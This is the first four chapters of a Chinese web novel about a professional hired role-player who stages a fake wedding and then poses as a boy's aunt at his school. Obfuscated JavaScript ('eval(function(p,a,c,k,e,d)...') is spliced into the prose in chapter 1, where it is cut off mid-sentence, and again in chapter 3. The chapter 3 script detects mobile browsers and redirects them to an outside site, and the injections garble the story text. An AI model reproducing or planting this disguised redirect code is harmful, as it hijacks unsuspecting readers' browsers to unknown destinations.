《谈恋爱吗,三缺一》 1. 第1章 假结婚 第一章 蔚蓝的天空下,一对年轻爱侣手挽着手,踏过长长的红毯,走向尽头的宣誓台。 男人身着笔挺西装,头发用发油打得缕缕分明,原本扔进人堆里也找不出的平凡样貌在这样的场合下也显得荣光焕发起来。 在他身畔,女人被包裹在丝绸质地的婚纱里,裙摆如鱼尾散开,勾勒出她姣好的身形。头纱如云,轻轻搭在她头顶,让宾客们看不清她的面容,只能看到她唇角若有似无地恬静笑意。 婚礼到场的宾客不多不少,坐在右侧最前排的几位中年男女穿着隆重,胸口别着的红花代表着他们是男方的父母长辈;只不过,在儿子结婚的重大场合,他们的神色除了欣喜之外,还多了几分莫名的沉重与焦虑。 伴随着神圣的结婚进行曲,一对新人在司仪面前站定。 新人同时侧过身,面对面望向彼此。男人的眼神含情脉脉,任谁都看得出来他早已为面前的女人神魂颠倒了。 “王先生,你愿意娶颜女士为妻吗?不管贫穷还是富有,无论健康还是疾病,你都会不离不弃?” 新郎不假思索地点了点头:“我愿意。” “颜女士,你愿意嫁给王先生吗?不管贫穷还是富有,无论健康还是疾病,你都会不离不弃?” 新娘没有立刻回答。蕾丝头纱下,那双明艳动人的眸子轻轻眨了眨,过了一瞬,也可能过了一个世纪那么长,她才出声:“我愿意。” 声音清脆,犹如云雀啼鸣。 听到这句回答,新郎重重呼出一口气,完全无法抑制住脸上的笑意。 等候在旁的工作人员赶忙把戒指盒送到新郎手边,红色丝绒礼盒打开,里面躺着一对熠熠生辉的对戒。其中属于新娘的那一枚钻石戒指格外闪耀,在阳光下闪得人睁不开眼。 新郎忍不住把汗湿的掌心在裤缝上蹭了蹭,这才小心翼翼地取出那枚闪闪发光的钻戒,抖着手带到了新娘的无名指。接着,新娘也为他戴上了婚戒。 台下宾客小声议论着。 “好大的钻石戒指,离这么远都要闪瞎我的眼睛了。” “至少有三克拉吧?” “我看要有五克拉!” “吹呢,谁不知道老王家一家子全是守财奴,就算拆迁得了那么多套房,也不可能舍得给孙媳妇买这么大的戒指的,那可是要带进老爷子的棺材里的!” “切,你们未婚的懂什么?婚礼上用来交换的戒指都是假的,那是婚庆公司提前准备的。一方面是怕婚礼人多手杂弄丢了真戒指,一方面是怕真戒指太low拿不出手。” “原来如此。我说呢,这么大的戒指要真戴在手上,怕是要抵一套房了!” 众人的议论只持续了短暂的一小会儿,很快,整场婚礼到达了最后一个环节。 “现在,请新郎为新娘掀开面纱,在所有宾客的祝福与见证下,交换一个甜蜜的亲吻吧!” 证婚人的这句话一出口,新娘的身体微不可见的僵硬了一秒。 新郎早已迫不及待。 轻薄的面纱被掀开,在众人的屏息期待中,新娘的真容终于出现在了阳光之下。 如朝露,如晨曦,剪水为瞳,摘云作发。曾有人说,女人最美的时刻就是在婚礼上,可见到新娘的每个人都会觉得,她脸上浓艳的妆容反倒是耽误了她的清雅美貌。 她的脸上即没有嫁做新妇的娇羞,也没有因众人瞩目而产生的窘迫,她只是平平淡淡地望向面前的男人,眸中带着一抹看透新郎一切把戏的嘲弄。 在这样的盯视下,新郎有些心虚地移开了眼睛,但他不知道又想到了什么,忽然攥紧拳头,抬手压住了新娘的肩膀。 紧接着,他笨拙地伸长脖子撅起嘴巴亲了过去,可就在他的嘴巴差一点就要碰到新娘的唇瓣之际,台下忽然传来一阵骚动—— “——咳咳、咳咳……咳咳咳!”一道痛苦的咳嗽声响起,仿佛有一口痰堵在喉咙里,光是听那声音就足够令人揪心。 众人的目光立刻转向了那道声音的主人,甚至就连刚刚还猴急的新郎也立刻把注意力投向了台下。 “爷爷?!” “爸,你怎么了爸?” “老爷子,老爷子你坚持住啊,今天可是你大孙子的大喜之日啊。” “护士还傻站着干什么,快来抢救啊?!” 被众人围住的老人身穿一套红色喜服,只不过脸色苍白、形容枯槁,在这场婚宴上,他绝对是最格格不入的一个人。他半躺在一座可移动的医疗床上,鼻间连着鼻饲管,时刻带着氧气瓶,身旁还有两位护士“压阵”。 来参加这场婚礼的人都知道——王家的老爷子身患重病,临死前最后一个愿望就是想看到大孙子结婚,可以说这场婚礼就是为了给他冲喜。 不知算不算“乐极生悲”,老爷子终于看到孙儿结婚,结果开心之下居然喘不上来气了! 婚礼立刻暂停,新郎扔下新娘,一个健步就冲到了老爷子身边;其他家属也紧紧围在护士身边,七嘴八舌地出主意;宾客们议论纷纷,不知是真的关心老爷子的安危,还是在看热闹。 没人注意到,当台下乱成一锅粥时,舞台上的新娘不知何时已经消失了。 …… “小颜,原来你在这里啊。” 半小时后,新郎官终于在湖心小亭里找到了落跑的新娘。 因为突发情况,他出了一身冷汗,后背腋下全都汗湿,领带也不知道扔去了哪里,原本打理得缕缕分明的油头也散落下来,看起来狼狈至极。 与他相比,新娘就悠闲自在得多。 高跟鞋被她留在亭外的栈道上,她脚下踩着一双舒适的一次性拖鞋,长长的鱼尾裙摆挂在臂弯里,以防止走路绊倒。 她倚在湖心亭的廊柱旁,掌心里藏着一块从婚礼摆台上顺走的小饼干,她一边吃饼干,一边把掰碎的饼干扔进湖水里,水中小鱼游动,争先恐后地抢食。 “王先生,”她侧头看向他,语气不疾不徐,“老爷子怎么样了?” “还好,他就是看到我结婚太开心了,情绪有些激动,护士给他打了镇定剂,已经送回疗养院了。”新郎官一边说着,一边走到新娘身旁,鼓起勇气抬起手臂想要揽住她纤细的腰肢,但没想到的是,女人却向旁边迈了一大步,用动作拒绝了他。 “小颜,你怎么……” “王先生,你是不是入戏太深了?”新娘明艳动人的脸上不见一丝笑意,只有公事公办的冷漠,“需要我提醒你吗?咱们是签了合同的雇佣关系,我只是你雇来的演员,以完成老爷子临终前看到你结婚的愿望,帮你拿到遗产。” ——没错,在场的所有宾客乃至亲属们都不知道,这是一场彻头彻尾的假婚礼!王老爷子在神智清醒时曾让律师留下遗嘱,除非孙子结婚,否则一毛钱也别想从他这里继承。为此,新郎官才会委托她扮演未婚妻,上演了这出好戏。 “另外,合同上清楚写明了,婚礼上不会有超过拥抱、牵手程度的肢体接触,你不要告诉我,刚才司仪的那番话是现场发挥,你完全不知情?” 新郎被点破龌龊心思,口不择言:“我、我花了钱的!亲一下又怎么了?” “是不会怎么样。”女人微微一笑,刹那间如春花绽放。与此同时,她的手指收紧,原本藏在掌心的饼干顷刻间碾碎成粉末,窸窸窣窣落在湖中。她一双笑眼撇向新郎的双腿之间,语气轻巧至极,“我就当被狗咬了一下。” “颜!玉!琢!!”新郎恼羞成怒,“你说话一定要这么难听吗?为了铺垫这场婚礼,你陪我见家长、陪我拍婚纱照、还录了求婚视频,前前后后也相处了好几个月了!难道你对我一点感情都没有吗?” “感情?”颜玉琢轻轻歪了歪头,原本盘在头顶的发丝散落了一缕垂在脸畔,更衬得她风情万种,顾盼间眸光潋滟。 她垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在一家公司里,传播最快的永远是八卦。 茶水间里,前辈嘀嘀咕咕地向实习生分享他听过的小道消息,直到身后一道不起眼的隐藏门被推开。 女人打了个浅浅的哈欠走出内层的休息间,她未施粉黛,一头青丝用发夹抓住,明明动作慵懒随意,可却让人忍不住用目光追随她。 在她出现的那一刻,茶水间内的两人同时噤声。 ——糟了,他们谈论的话题人物居然就在一墙之隔的休息室!也不知道这里的隔音怎么样,她不会都听到了吧? “颜……小颜姐好。”实习生吓得赶忙立正。 颜玉琢揉着眼睛走向咖啡机,可能因为刚睡醒吧,她捣鼓了一阵有些捣鼓不明白。实习生赶快走上前帮她,结果发现是咖啡机的豆子恰好用尽。 “小颜姐,要不、要不你喝我的吧?我杯子刚洗过!”实习生狗腿地送上自己的杯子。 颜玉琢接过来看了看,唔,马克杯上印着一只卡通猫咪,猫咪脸上写满了好奇心。 实习生小心翼翼又不好意思地问:“是不是太幼稚了?” “不幼稚。”颜玉琢个子高挑,即使穿着平底鞋身高也超过一米七。她略略弯下腰,随手把女孩鬓角的碎发挽在耳后,又笑眯眯地拍了拍她的头顶,“挺适合你的。” 实习生的脸一下红了。 她现在终于理解,为什么那个假新郎会死缠打烂,妄图和颜玉琢假戏真做了。 要是她的话,要是她的话…… 见颜玉琢没提起刚才的事情,茶水间内的另一人也故作自然地和她攀谈:“小颜,没想到你今天居然在公司,最近好久没见到你了。” “确实好久没来公司了。”谁想到颜玉琢抬了抬眉,笑盈盈道,“毕竟我每天都沉迷工作,要给我破产的爸虚荣的妈赌博的哥哥重病的妹妹攒钱还债呢。” “……”糟了,看来还是让她都听到了。 就在此时,颜玉琢口袋里的手机忽然传来几声轻响,这提示音对于茶水间里的三人来说都非常熟悉。 颜玉琢放下手里的猫咪咖啡杯,修长秀美的指尖划了划屏幕,眼底闪过一丝笑意。 “看来老板也可怜我,想让我早点还清欠款呢,”她扬了扬手机,说,“看,我现在有了三单工作了。” 2. 第2章 小舅妈 第二章熊孩子 四年前,刚刚大学毕业的颜玉琢加入了这家“千面人生app”公司,成为了该公司的一名“全能替演师”。 简单来讲,这家公司的业务就是角色扮演——只要雇主出得起钱,他们什么角色都可以扮演。 单身主义者为了应对催婚,聘请“假女友”回家见家长;沉浸于二次元世界的动漫迷,请人扮演自己喜欢的动漫角色;失独长辈思念孩子,雇人陪自己聊天…… 当然,也有其他类型的委托扮演工作,按照难度和时间,薪酬各不相同。 公司老板以前在剧组做副导,时常跑横店,手握大批群演、龙套资源。可是娱乐圈实在不好混,老板干脆带着自己的人脉创建了这家公司,最开始公司的“全能扮演师”都是她带来的群演和龙套。 雇主们会通过app下单,写清自己的需求和预算,然后由系统匹配员工,分发派单。当然,如果员工对派单不满意,也可以拒绝。 不过,颜玉琢很少拒绝派单,她对自己的能力十分自信,即使再刁钻的雇主也不会影响她。 她指尖轻点app,很快本周第一单工作的详细信息出现在手机上。 【雇主:@今天不想上学鸭 详情:呜呜呜呜,考试不及格,校长说要请家长!有没有大姐姐能扮演我的家长? 时间地点:周五上午十点,JS国际学校小学部】 实话实说,颜玉琢并不想接未成年小朋友的订单,但是没办法——这个小朋友给得实在太多了。 这所JS国际学校是A城最负盛名的贵族小学,在这里上学的孩子非富即贵,不是星二代、就是家中有政商背景。 不过,再也钱的小朋友也是怕请家长的。颜玉琢只要去学校挨两个小时的训,就能得到四位数的报酬,实在是又简单又划算的生意。 在确定接单后,颜玉琢提前十分钟抵达校门口。贵族学校安保严格,颜玉琢在岗亭登记姓名后,领到了一张印有她名字的访客卡,工作人员要求她时刻佩戴,然后派了一辆代步车,送她前往教学楼。 颜玉琢坐在车内,脸上不动声色,但眼底写满了惊叹。 真不愧是八十万一年的贵族小学,看看这教学楼,看看这草坪,看看这服务态度……就连空气里都飘散着一股金钱的味道。 就在颜玉琢思索之际,代步车缓缓停在了办公楼前,戴着白手套的工作人员彬彬有礼地请她下车。 她下车后还来不及仔细打量这里,忽然身后响起了一道奶声奶气的喊声—— ——“小舅妈!” 下一秒,一个浑身上下圆滚滚的小男孩,一头撞入了她的怀中。 为了演好“富家子弟的家长”,颜玉琢今日打扮得格外隆重,特地穿了一双经典款的红底高跟鞋。这双鞋漂亮倒是漂亮,就是鞋跟太高,很难掌握平衡,那男孩直冲过来,宛如一只横冲直撞的小野猪,差点把她撞个跟头。 这一撞,她的五脏六腑都快被撞出来了,若不是她牢记人设,她脸上的笑容都要绷不住了。 她稳住身体,一双眼睛含笑看着怀中的小野猪……不对,小男孩,满是宠溺的模样。 “您好,”她用身体挡住旁边工作人员的视线,压低声音问着抱着自己不松手的男孩,“请问您是‘@今天不想上学鸭’吗?” “是我是我是我!”男孩也像是对暗号一般,一边和她装模作样地搂搂抱抱,一边紧张地问,“你就是‘@玉不琢’吧?一会儿在我们校长面前,你可千万不要露馅啊!” “放心吧。”颜玉琢冲他眨了眨眼睛,“我的好评率是百分之百,绝对不会让你失望的。” 没错,现在这个出现在她面前,抱着他亲昵地喊“小舅妈”的孩子,正是她今天第一单的雇主。 “为什么是小舅妈?”颜玉琢想,这亲戚关系会不会有些远? “因为我爸爸妈妈离婚了,他们都不管我,只给我钱就把我扔进了学校,我一年都见不到他们一次,只有我小舅管我。”小男孩的声音越说越低,提起舅舅,他脸上的嘟嘟肉都抖了抖,一脸后怕地说,“以前开家长会,都是我小舅来。他就是个暴君、法西斯、大坏蛋,每次开完家长会都要打我屁股,还要扣我零花钱!我可不想再见到他了。” 原来是这样。 没想到小男孩是一个缺乏父母关爱的孩子,而他舅舅对他的态度也很恶劣……看来,不管是穷人家的孩子,还是富人家的孩子,都会遇到相似的事情。 颜玉琢正要细问,身后又响起一阵脚步声,她循声转身,只见身后出现了一位五十岁上下、穿着西装套裙的年迈女士。 那位女士表情严肃,唇角紧紧绷着,双眼锐利如鹰隼,从老花镜后打量着颜玉琢。 在那位女士出现之际,小男孩当即就露出了老鼠遇见猫的表情,乖乖松手站好,老老实实地冲对方喊:“校长好。” 颜玉琢一听,连忙伸出手去:“校长您好,我是……” 她卡壳了。 她还不知道雇主的名字呢! 小男孩拽了拽她的衣角,小声提醒她:“我叫庄子宸!” 颜玉琢:“我是庄子宸同学的小舅妈,我姓颜。今天来学校拜访,想和您讨论一下他的学习问题。” “学习问题?”校长眉头紧紧打了个结,“庄子宸的成绩向来全A,下个月还要代表学校去参加全省小学生英文演讲比赛,他的成绩没什么问题,唯一的问题,就是他总不把聪明用到正道上。” “……?”颜玉琢一愣。 校长声音带着隐隐怒气:“我这次请他家长,根本不是为了他的学习,而是为了他和同学打架的事情!” 短短一秒钟,颜玉琢立刻明白了一切。她立刻转头看向旁边的小男孩,却发现他居然拍拍屁股溜走了,只给她留下一道狡猾的背影。 颜玉琢气笑了——她这个成年人,居然被一只小野猪的谎话骗到了! 考试不及格请家长和打架请家长,那是两个完全不同的概念。如果早知道庄子宸是因为这个缘故被请家长,她无论如何都不会接单的。 但没办法,来都来了,为了自己的好评率,她只能把戏继续演下去。 在对待熊孩子的态度上,贵族小学的校长和普通小学的校长也没什么区别。女校长脚步匆匆,带着颜玉琢往办公室的方向走,颜玉琢踩着高跟鞋紧随其后,还要时刻保持着虚心听训的表情。 “这已经是本学期庄子宸同学第三次和同学打架了。”校长语气里很是不满,“我上次就和庄子宸说过,必须要让他的父母来!我们学校的学生父母从事什么行业的都有,汪市长的儿子、马首富的女儿,都在我们学校,但是人家每次开家长会都亲自来,这才是真正注重孩子教育的家长!不知道周同学的父母从事什么职业,能比汪市长、马首富还忙碌?之前两次都是他舅舅来的,这次居然连舅舅都没来,而是让舅妈来……” 身为“舅妈”,颜玉琢只能无奈赔笑。 颜玉琢问:“不知道小野、咳,不知道子宸和同学为什么打架啊?” 校长:“原因我们还在调查,但监控录像显示,庄子宸在足球队训练时,故意跑去抢球,扰乱足球队的正常训练。” 颜玉琢没想到,那小野猪看起来肉吨吨的,身手还挺灵活。 校长:“不仅如此,他还故意把球踢到了队员的身上,引起足球队队员的不满,最终导致11名男生围过来与他打群架。” 颜玉琢关心雇主:“他没受伤吧?” 校长推了推老花镜:“没有,受伤的是那11个男生。” 颜玉琢:“……” 啊,真是野猪不可貌相。 因为这次群架事件波及广泛,而且学校里的学生都非富即贵,对方所有家长联合起来,要求当面道歉,庄子宸怕被舅舅教训,才灵机一动从网上租了个假舅妈。 谈话间,颜玉琢和校长已经走到了办公室门口,校长说:“颜女士,您先进去稍等片刻,其他学生家长还没来,等他们到了,我会安排你们见面的。” 颜玉琢道了谢,独自走进了校长室里。 在颜玉琢的记忆中,她小时候所上的小学只是家附近一所平平无奇的普通学校,教室逼仄,校长室也小得不得了,和普通老师的办公室差不多。但现在出现在颜玉琢面前的校长室,占地面积足有五十平,不仅空间宽敞,装饰得更是奢华,办公桌正对的那面墙修了一座展示柜,上面密密麻麻摆满了各种奖杯、奖状,金灿灿一大片,全是学生们所取得的荣誉,除此之外,还有校长和各位名流政要的合影。 即使颜玉琢这些年来已经见惯了有钱人的世界,但这时也不免惊叹。 她仔细观察那些合影,并没有注意到身后的办公室大门再一次被推开了。 脚下的静音地毯吞没了来人的脚步声,颜玉琢欣赏完墙上的奖杯,一转身,便落入一双玩世不 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颜玉琢主动向这位公孔雀伸出手,秉着以和为贵、速战速决的态度,开口道歉:“您好,我是庄子宸同学的小舅妈,这次他打人是他不对,我回去一定好好教育他。” 然而,她的手在空中举了半天,男人都未与她交握。 颜玉琢:“……?” 男人他的眼眸里闪过一丝兴味,仿佛听到了什么有趣的笑话:“你说——你是庄子宸的小舅妈?” 颜玉琢敏感地察觉出来有什么不对劲,但她却无法判断究竟因何而起。不过,作为公司的金牌员工,她扮演过太多太多的角色,扮演角色时,她必须发自内心的相信,自己就是角色本身;即使受到质疑,她也决不能动摇。 思及此,她勇敢迎向那只公孔雀的视线,镇定回答:“没错,我就是庄子宸的小舅妈。他父母工作忙,没时间照看他,所以都是我和他舅舅……” 然而她的话还未说完,就被男人接下来的动作打断了—— 男人突然踏前一步,拉近与她的距离,颜玉琢下意识后退一步,却忘记身后就是奖杯柜,她的后背重重撞上柜子,整个人退无可退。随着他的动作,他身上萦绕的味道四散开来,瞬间淹没了她的感官。 那是一种醇苦且厚重的味道,并非药味;而且在醇苦散去后,又化为丝丝甘甜,苦与甜的味道并不冲突,反而相处融洽,无比丝滑。 这味道怎么有点像……苦巧克力? 下一秒,这个萦绕着苦巧味道的男人居然伸手勾住了颜玉琢脖子上的访客卡。 “这位小姐,说谎之前,你连人物背景都不调查一下吗?”男人把玩着她的访客卡,低声嗤笑,“我就是庄子宸的小舅舅,我什么时候结婚了,我怎么不知道?” 颜玉琢:“?!” “老实交代吧,骗子小姐,”男人语气充满嘲弄,像是料定她无路可逃,“你到底是谁?” 剧情直转而下,完全出乎了颜玉琢的意料。她脑中各种对策纷乱而过,她知道自己绝对不能慌乱。 转瞬间,她就重新镇定下来。 她抬头看向面前的自称小野猪舅舅的男人,语气淡定从容:“先生,在回答你的问题前,我也有一个问题要问你。” “?” “你的香水味道实在太重了,有没有考虑过换一款?” “这不是香水,这是……”男人下意识解释,又突然愣住——不是,等等,他为什么要向她解释? 其实颜玉琢根本不在意他的答案,只是想要他一秒钟的分神。她眼疾手快地把自己的访客卡从男人手里抢回来,快到他根本没看清上面写的名字。 访客卡夺回来后,她快速闪身躲向一旁,短短几秒就拉开了她和男人的距离。 “刚才我已经自我介绍过了,我‘现在’是庄子宸的小舅妈。”颜玉琢不慌不忙地把访客卡摘下来,收到自己的手包里,“这世界上有谁规定,舅舅一定要认识舅妈的?” 男人:“……哈?” 面前的女人态度太过坦然,明明谎话连篇被抓包,可居然连眼睛都没眨一下。有那么一秒钟,他甚至怀疑他爹是不是在外面还有一个私生儿子;亦或是他娘指腹为婚给他订了什么世家联姻,而这位从天而降的陌生女郎就是她素未谋面的未婚妻。 不可能吧? 这不……可能吧? 3. 第3章 熊孩子 第三章 作为金牌员工,在颜玉琢接过的大大小小的case当中,当然也出现过雇主和家人没有提前商量好,导致委托露馅儿的情况。 刚开始她还会惊慌失措,导致委托终止,钱没拿到还白出了工。 但现在的她早已是一根老油条,就算天崩地裂也不能影响她拿到这个好评! 面前的男人自称小野猪的真舅舅,而她是小野猪雇来的假舅妈。这件事乍看之下,好像是她和他的矛盾,但其实重点在于小野猪和这个舅舅的关系。 “你到底是谁?”男人步步紧逼。 颜玉琢坦然应对:“这已经是我第三遍向您做自我介绍了,我是庄子宸的小舅妈,我姓颜,先生您怎么称呼?” “庄策,策是策略的……等等,你这次别想转移话题,你和子宸怎么认识的,认识多久了,你为什么要假扮他的家长?” “我为什么要假扮他的家长,这件事不如您先问问自己。”颜玉琢淡定地把球打回去,“咱们虽然是成年人,但都是从儿童时期过来的。难道您小时候没有闯了祸之后,心虚害怕的时候吗?如果孩子闯祸后不敢告诉家长,宁可雇人假扮家长见老师,这时候家长应该反思自己到底给孩子带去了多大心理阴影,而不是责怪孩子的逃避。” “你倒是牙尖嘴利、巧舌如簧。”名叫庄策的男人双手插袋,冷哼一声,一个又一个的问题砸向颜玉琢,“所以你承认是他花钱雇来的?他花了多少钱让你过来挨训道歉?你知不知道他是未成年人,他花的每一分钱我身为监护人都可以追讨回来的?” “您当然可以追讨。”颜玉琢笑眯眯道,“如果您不在乎他从今以后,再也不会对您敞开心扉、说一句心里话。” “……”男人的表情一凝。 颜玉琢敏锐地捕捉到了他这一秒钟的迟疑,意识到自己赌对了。 虽然小野猪在打架这件事上撒了谎,但颜玉琢通过和校长的短暂交谈,发现这个孩子绝不是那种为非作歹的富二代。他的父母确实疏于管教他,从不露面,在这种情况下,小野猪还能保持全A的成绩没有自暴自弃,说明他头脑聪明,是个很有想法的孩子。 这样聪明的孩子,怎么会突然“发疯”以一打十一?想想就知道另有隐情。 颜玉琢赌的,就是小野猪的舅舅是发自内心的关心他,而不是把他当姐姐扔来的拖油瓶。 “庄总,孩子不是靠打靠骂靠给钱,就能让他信任家长的。”颜玉琢适当表达关心,语气不疾不徐,“今天的事情结束之后,您可以和他在一个放松的环境下好好谈谈心。庄子宸是个很有主见的孩子,解开你们之间的误会,我想他会更信任您的。” “……你不过是他花钱雇来的人,不要装作很懂他的样子。我和我外甥有没有误会,就不劳你操心了。”庄策冷哼一声,但颜玉琢敏锐地感知到,他的态度比刚开始软化了不少。 ——唔,总而言之,这只公孔雀还是挺好忽悠的。 危机暂时解除,恰在此时,走廊里响起一阵阵仓促的脚步声,伴随着几人的怒吼。 “我儿子都被打成什么样了?” “开除,必须开除!” “今天必须让他家长给我们所有人一个交代!” 这些话清晰地传入办公室内,对方根本没有控制音量,明显就是说给办公室内的人听。 颜玉琢抬眸看向一旁的庄策,忍不住调侃:“庄总,看来苦主们都群情激奋啊。” 庄策顿觉头疼。他现在宁可回公司再开一天的新品研发会,也不想见那些吵个没完的家长,想到这里,他忍不住捏了捏眉心:“混小子这次给我惹了个大麻烦……” 颜玉琢:“听说之前都是您替庄子宸开家长会的?他上次打架您怎么处理的?” “还能怎么处理?”庄策抬起下巴,示意颜玉琢看向办公室对面的教学楼,“给学校捐了几间新实验室呗。” “…………”颜玉琢衷心希望,她下辈子投胎也能当个有钱人。 她绝对不会像互联网上的那些富二代一样无病呻吟,说什么“我不需要很多很多钱,只需要很多很多爱”这样的屁话。 她深吸一口气:“您从没想过问问他为什么打架吗?” “为什么要问?男孩子之间磕磕碰碰不是很正常吗,能用钱解决的问题都不是问题。” “可这一次,恐怕不是用钱就能解决的了。”颜玉琢道,“毕竟接下来咱们要面对的可是一群家长。您有钱,难道他们没钱吗?” 这也不行,那也不行,庄策不耐烦道:“那你说怎么办,总不可能真如他们所愿,给宸宸办退学吧?我不可能让我外甥背上这种落荒而逃的名声。” 颜玉琢灿然一笑,抬手指向自己:“不如交给我吧。” “你?” “庄总,您大可放心——您外甥花的钱,不会浪费一分的。” …… 赵德伟怒气冲冲地穿过学校走廊,整张脸气得漆黑。 昨天晚上,他的宝贝儿子顶着一个乌青的黑眼圈回了家,在他追问之下,孩子才委屈地说了实话——在学校体育课上,一个叫庄子宸的坏小子欺负了他的孩子!而且受到欺负的不止一个,整个足球队的孩子都被那个坏小子打了。 赵德伟立即找家委会的负责人打听了一下,据说这个叫庄子宸的坏小子总是在学校惹事,前不久也因为打人被请了家长,但最终他的家长拿钱摆平了这件事。 不就是有几个臭钱吗?他赵德伟也不是缺钱怕事的!他结了三次婚才生了这么一根独苗苗,绝对不能让人随便欺负了去! 想到这里,赵德伟立刻叫上足球队的其他几位家长,气势汹汹地来找庄子宸的家长算账。 他一马当先推开校长室的大门,办公室里,两道年轻身影正等在那里。 都说先敬罗裳后敬人,赵德伟的公司就是做服装出口生意的,他眼光毒辣,看人时向来先审视对方的穿着,小到一枚胸针袖扣,大到衣服面料剪裁,往往能暴-露出不少秘密。 办公室里的男人看上去应该不到三十岁,他身上的西装一看便是量体订做,肩线微阔,袖口略松半寸,西裤是很少有男性敢于挑战的廓尔格剪裁,高腰侧绊的设计是典型的意式西装风格;这代表男人的性格绝非是古板守旧派,热衷于冒险,并且对自己有着极强的信心。 站在他身畔的女人,一条高领无袖长裙力求低调,看面料与设计应该是某奢侈品牌去年的店面成衣,不算昂贵,但在这个场合里也不算露怯。她颈上的珍珠项链与耳畔的珍珠耳环相映成趣,长发微卷散落肩头,没有繁杂的装饰,优雅中透着一丝清爽。 听到大门被推开的声音,原本正在谈话的两人很有默契地停下对话,同时侧身看向门口。在那一秒钟,赵德伟清晰地听到身后其他的学生家长传来此起彼伏的吸气声。 不光他们如此,就连赵德伟都心里泛起嘀咕——庄子宸的家长不会是什么明星吧?俊男美女倒是登对,衣品也不错,可惜教子无方,养出那么一个惹祸精。 不过明星不明星的,赵德伟也不在意。这学校里的学生非富即贵,星二代多如牛毛;若他们是明星的话那更好,明星注重名声,肯定不愿意把事情闹大。 校长跟在家长身后进入办公室,为双方介绍。 “这位是庄子宸同学的舅舅与舅妈,”校长又转向另一边,“这几位是足球队的家长代表。” 赵德伟一听,火气又旺了一分:“舅舅和舅妈?庄子宸的父母怎么没来?他打了我家威廉,居然只让舅舅和舅妈来赔礼道歉,未免太不把我们当回事了!” “舅舅怎么了?”庄策嘲弄般地抬了抬嘴角,目光在赵德伟身上转了一圈,“再说你家不是也没让孩子父母来,而是你这个当爷爷的来啊。” “你——!”赵德伟气得血压蹭一下直冲头顶。 他年近五十才老来得子,有了威廉这个金疙瘩。别人都夸他宝刀不老,哪想到庄策居然说他是孩子的爷爷!赵德伟脸上青一阵红一阵,太阳穴砰砰直跳。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029698|162285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气氛剑拔弩张,关键时刻,一道窈窕的身影走了出来。颜玉琢的手挽住庄策的胳臂,在他的肩头轻轻拍了拍,看似在安抚他的情绪,实际上她不着痕迹地重重拧了他大臂内侧一下,疼得庄策忍不住打了个激灵。 “庄总,您不会说话就请暂时安静。”她的声音极低,低到庄策还以为自己听错了。 下一秒,女人已经离开庄策身畔,面色沉稳地站在了激动的赵德伟面前。 “这位……赵先生是吧?我知道您很激动,但是您先别激动,咱们今天站在校长办公室里,是为了解决小朋友们之间的问题。小男生间打打闹闹很正常,咱们成年人没必要为了孩子的事情伤了和气。”颜玉琢主动伸出手,一副知性大气的模样。 赵德伟盯着她伸出来的手,琢磨了几秒,才慢吞吞伸出手和她交握。意外的,女人的掌心居然有一层薄茧,没有他想象中的那般细腻软滑。 “我看你倒是个能言善道的。”赵德伟瞄了一眼她身后的庄策,又盯着她的眼睛开口,“如果你们一开始就拿出这种态度道歉的话……” “等等,我们什么时候说过要道歉了?”颜玉琢用些力气抽回手,语气惊讶,“这次事件还没查明原因,怎么就盖棺定论成我家子宸的问题了?” 她看向校长:“您刚才说,我家子宸入校以来成绩全A,下个月还要代表学校参加省级小学生英文演讲比赛。这样的好学生,怎么可能主动打人?” “你别狡辩了!”赵德伟声音提高,“庄子宸不止打了我家威廉一个人!这里这么多家长,每个人的孩子都被庄子宸打了!” 性格古板的校长推了推鼻梁上的眼镜,点头附和:“庄子宸同学的成绩确实名列前茅,但成绩和品德不可一概而论。这次发生在操场上的打人事件,周围所有同学都能作证,确实是庄子宸率先冲上去打人,破坏了足球队的训练。” 校长都这么说了,其他家长们更是激愤。 “有钱生没娘养!”“小小年纪不学好!”“咱们学校最注重校容校纪,不能让这么一个害群之马留下来!”“聪明又怎么了,动不动就打人,我看他就是个反社会人格,长大了又是一个高智商罪犯!”“这就是校园暴力,这就是霸凌!” 你一言我一语,幸亏庄子宸不在这里,若他在这里,这群家长们恨不得扒掉他的皮给自己的儿子泄愤。 庄策本就不是什么好脾气的人,完全听不下去他们如此诋毁自己的外甥。他忍无可忍怒喝一声:“你们——” “——大家的意思我都听明白了。”颜玉琢嫣然一笑,一双灵动的眸子逐一望向那群激动的家长,在众人的瞩目下从容不迫地开口,“你们的意思是,我家子宸单枪匹马,以一己之力,霸凌了整个足球队的十一名男生?而且他还打赢了所有人?” “……” “这……” “呃……” 颜玉琢:“亲爱的,”她笑盈盈看向庄策,“你给子宸报过什么课外辅导班吗,比如散打、拳击、空手道?” 庄策终于知道她葫芦里卖的什么药,他配合她的表演,两手一摊:“没有。他那么胖,你看他像是有运动习惯的吗?” 颜玉琢:“那子宸可真是天赋异禀,十一个擅长运动的体育生围攻他一个人,都能让他全身而退。” 所有家长哑口无言。 这这这,这要是就这么承认了,是不是太丢脸了?男孩子打架是很常见的事情,但十一个人打不过一个,那真是祖坟的脸都丢尽了! 颜玉琢话锋一转:“还是说有另一种可能——那十一个小朋友因为某种原因心虚,不敢还手呢?” 赵德伟立刻反应过来:“你这是倒打一耙!!明明是你们打了人,现在还往我儿子身上泼脏水。” “到底谁往谁身上泼脏水,现在下定论未免太早。”颜玉琢没有被激怒,照旧那样成竹在胸的模样,“校长,这么好的学校,操场上一定有全方位的监控摄像头吧?人证虽然有了,但也要亲眼看看物证啊。” 4. 第4章 谁在霸凌 第四章 所有家长聚集在监控室里,十几双眼睛盯着保安队长的后脑勺,直把保安队长盯得冷汗直冒。 校长催促:“陈队,昨天下午四点,足球队是不是在操场训练?你尽快调出操场旁边所有监控摄像头。” 保安队长连连点头,从文件夹里找出昨日的监控视频,拖着进度条为家长们查询进度。 